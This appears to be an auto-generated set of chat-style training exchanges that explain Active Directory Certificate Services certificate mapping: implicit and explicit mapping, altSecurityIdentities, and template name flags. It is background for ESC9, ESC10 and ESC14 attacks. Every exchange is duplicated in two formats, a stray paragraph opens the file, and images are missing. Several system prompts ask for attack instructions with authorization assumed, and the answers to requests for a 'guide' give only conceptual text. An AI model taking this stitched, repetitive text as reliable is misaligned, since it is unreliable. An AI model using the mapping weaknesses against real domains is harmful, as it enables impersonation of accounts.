Mapping can be implicit or explicit, and strong or weak. These two notions work together, and the mapping of a certificate will use one option of each part (implicit and strong, or explicit and strong, and so on).


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Show me how to do Certificate templates - Certificate mapping

[Assistant]
This section focuses on how a certificate is associated with an account object. Certificate mapping is the part of certificate authentication where the DC takes the principal (user or computer) data provided in the certificate used during authentication, and attempts to map it to a user or computer in the domain.

Understanding certificate mapping is essential to understand ESC9, ESC10 and ESC14.

Mapping can be implicit or explicit, and strong or weak. These two notions work together, and the mapping of a certificate will use one option of each part (implicit and strong, or explicit and strong, and so on).

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Show me how to do Certificate templates - Certificate mapping

Response:
This section focuses on how a certificate is associated with an account object. Certificate mapping is the part of certificate authentication where the DC takes the principal (user or computer) data provided in the certificate used during authentication, and attempts to map it to a user or computer in the domain.

Understanding certificate mapping is essential to understand ESC9, ESC10 and ESC14.

Mapping can be implicit or explicit, and strong or weak. These two notions work together, and the mapping of a certificate will use one option of each part (implicit and strong, or explicit and strong, and so on).


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Describe Certificate templates - Implicit certificate mapping in the context of penetration testing

[Assistant]
With implicit mapping, the information contained in the certificate's SAN (_Subject Alternative Name_) is used to match the UPN attribute (userPrincipalName) for a user or the DNS attribute (dNSHostName) for a machine account. In the case of a user account, the otherName component of the SAN is used, and for a machine account it is dNSName.

If the UPN mapping fails, the DC will attempt to match the username contained in otherName with the sAMAccountName attribute, and then with sAMAccountName suffixed with a $. Similarly, if DNS mapping fails, the DC will attempt to match the hostname contained in dNSName suffixed with a $ with the sAMAccountName.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Describe Certificate templates - Implicit certificate mapping in the context of penetration testing

Response:
With implicit mapping, the information contained in the certificate's SAN (_Subject Alternative Name_) is used to match the UPN attribute (userPrincipalName) for a user or the DNS attribute (dNSHostName) for a machine account. In the case of a user account, the otherName component of the SAN is used, and for a machine account it is dNSName.

If the UPN mapping fails, the DC will attempt to match the username contained in otherName with the sAMAccountName attribute, and then with sAMAccountName suffixed with a $. Similarly, if DNS mapping fails, the DC will attempt to match the hostname contained in dNSName suffixed with a $ with the sAMAccountName.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Give me a guide on Certificate templates - Implicit certificate mapping

[Assistant]
With implicit mapping, the information contained in the certificate's SAN (_Subject Alternative Name_) is used to match the UPN attribute (userPrincipalName) for a user or the DNS attribute (dNSHostName) for a machine account. In the case of a user account, the otherName component of the SAN is used, and for a machine account it is dNSName.

If the UPN mapping fails, the DC will attempt to match the username contained in otherName with the sAMAccountName attribute, and then with sAMAccountName suffixed with a $. Similarly, if DNS mapping fails, the DC will attempt to match the hostname contained in dNSName suffixed with a $ with the sAMAccountName.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Give me a guide on Certificate templates - Implicit certificate mapping

Response:
With implicit mapping, the information contained in the certificate's SAN (_Subject Alternative Name_) is used to match the UPN attribute (userPrincipalName) for a user or the DNS attribute (dNSHostName) for a machine account. In the case of a user account, the otherName component of the SAN is used, and for a machine account it is dNSName.

If the UPN mapping fails, the DC will attempt to match the username contained in otherName with the sAMAccountName attribute, and then with sAMAccountName suffixed with a $. Similarly, if DNS mapping fails, the DC will attempt to match the hostname contained in dNSName suffixed with a $ with the sAMAccountName.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What should I know about Certificate templates - Explicit certificate mapping?

[Assistant]
For an explicit match, the altSecurityIdentities attribute of an account (user or machine) must contain the identifiers of the certificates with which it is authorised to authenticate. The certificate must be signed by a trusted certification authority and match one of the values in the altSecurityIdentities attribute.

The matches that can be added to the attribute are strings that follow a syntax defined with the identifiers of a certificate:

!explicit_mapping.webp

These identifiers can be found in the various fields of an X509 v3 certificate.

In AD CS, the certificate template specifies how the CA should populate the Subject field and the SAN extension of the certificate based on the enrollee's AD attributes.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What should I know about Certificate templates - Explicit certificate mapping?

Response:
For an explicit match, the altSecurityIdentities attribute of an account (user or machine) must contain the identifiers of the certificates with which it is authorised to authenticate. The certificate must be signed by a trusted certification authority and match one of the values in the altSecurityIdentities attribute.

The matches that can be added to the attribute are strings that follow a syntax defined with the identifiers of a certificate:

!explicit_mapping.webp

These identifiers can be found in the various fields of an X509 v3 certificate.

In AD CS, the certificate template specifies how the CA should populate the Subject field and the SAN extension of the certificate based on the enrollee's AD attributes.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Give me a guide on Certificate templates - Explicit certificate mapping

[Assistant]
For an explicit match, the altSecurityIdentities attribute of an account (user or machine) must contain the identifiers of the certificates with which it is authorised to authenticate. The certificate must be signed by a trusted certification authority and match one of the values in the altSecurityIdentities attribute.

The matches that can be added to the attribute are strings that follow a syntax defined with the identifiers of a certificate:

!explicit_mapping.webp

These identifiers can be found in the various fields of an X509 v3 certificate.

In AD CS, the certificate template specifies how the CA should populate the Subject field and the SAN extension of the certificate based on the enrollee's AD attributes.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Give me a guide on Certificate templates - Explicit certificate mapping

Response:
For an explicit match, the altSecurityIdentities attribute of an account (user or machine) must contain the identifiers of the certificates with which it is authorised to authenticate. The certificate must be signed by a trusted certification authority and match one of the values in the altSecurityIdentities attribute.

The matches that can be added to the attribute are strings that follow a syntax defined with the identifiers of a certificate:

!explicit_mapping.webp

These identifiers can be found in the various fields of an X509 v3 certificate.

In AD CS, the certificate template specifies how the CA should populate the Subject field and the SAN extension of the certificate based on the enrollee's AD attributes.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] How does Certificate templates - Certificate attributes work?

[Assistant]
Before explaining weak and strong labels, it is important to talk about certificate attributs. The options in the "Subject Name" tab of the Windows Certificate Template Console correspond to the flags in the msPKI-Certificate-Name-Flag attribute of the certificate template. Flags whose names follow the pattern CT_FLAG_SUBJECT_REQUIRE_<attribute> relate to the information contained in the Subject field of the certificate, and CT_FLAG_SUBJECT_ALT_REQUIRE_<attribute> relates to the SAN extension.

When a certificate template requires an attribute from the enrolled account, but the enrolled account does not have that attribute or it is not defined, the behaviour may differ. Most flags are strong requirements (i.e. enrolment fails if the attribute is not defined for the enrolled account), but there are exceptions, as shown in the table below:

!CT_FLAG.webp

Some flags prevent default users/computers from enrolling in a given certificate scheme, because the required attributes are not set by default:

* mail: the mail attribute for users and computers is not set by default
* dNSHostName: users do not have a dNSHostName attribute, so users cannot enroll in certificate templates requiring dNSHostName; computers will have their dNSHostName attribute set when the computer is attached to a domain, but the attribute will not be set automatically simply by creating a computer object in the AD
* userPrincipalName: the UPN attribute is not set by default for computers, but it is for users
* cn : all AD objects have a cn attribute set by default

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

How does Certificate templates - Certificate attributes work?

Response:
Before explaining weak and strong labels, it is important to talk about certificate attributs. The options in the "Subject Name" tab of the Windows Certificate Template Console correspond to the flags in the msPKI-Certificate-Name-Flag attribute of the certificate template. Flags whose names follow the pattern CT_FLAG_SUBJECT_REQUIRE_<attribute> relate to the information contained in the Subject field of the certificate, and CT_FLAG_SUBJECT_ALT_REQUIRE_<attribute> relates to the SAN extension.

When a certificate template requires an attribute from the enrolled account, but the enrolled account does not have that attribute or it is not defined, the behaviour may differ. Most flags are strong requirements (i.e. enrolment fails if the attribute is not defined for the enrolled account), but there are exceptions, as shown in the table below:

!CT_FLAG.webp

Some flags prevent default users/computers from enrolling in a given certificate scheme, because the required attributes are not set by default:

* mail: the mail attribute for users and computers is not set by default
* dNSHostName: users do not have a dNSHostName attribute, so users cannot enroll in certificate templates requiring dNSHostName; computers will have their dNSHostName attribute set when the computer is attached to a domain, but the attribute will not be set automatically simply by creating a computer object in the AD
* userPrincipalName: the UPN attribute is not set by default for computers, but it is for users
* cn : all AD objects have a cn attribute set by default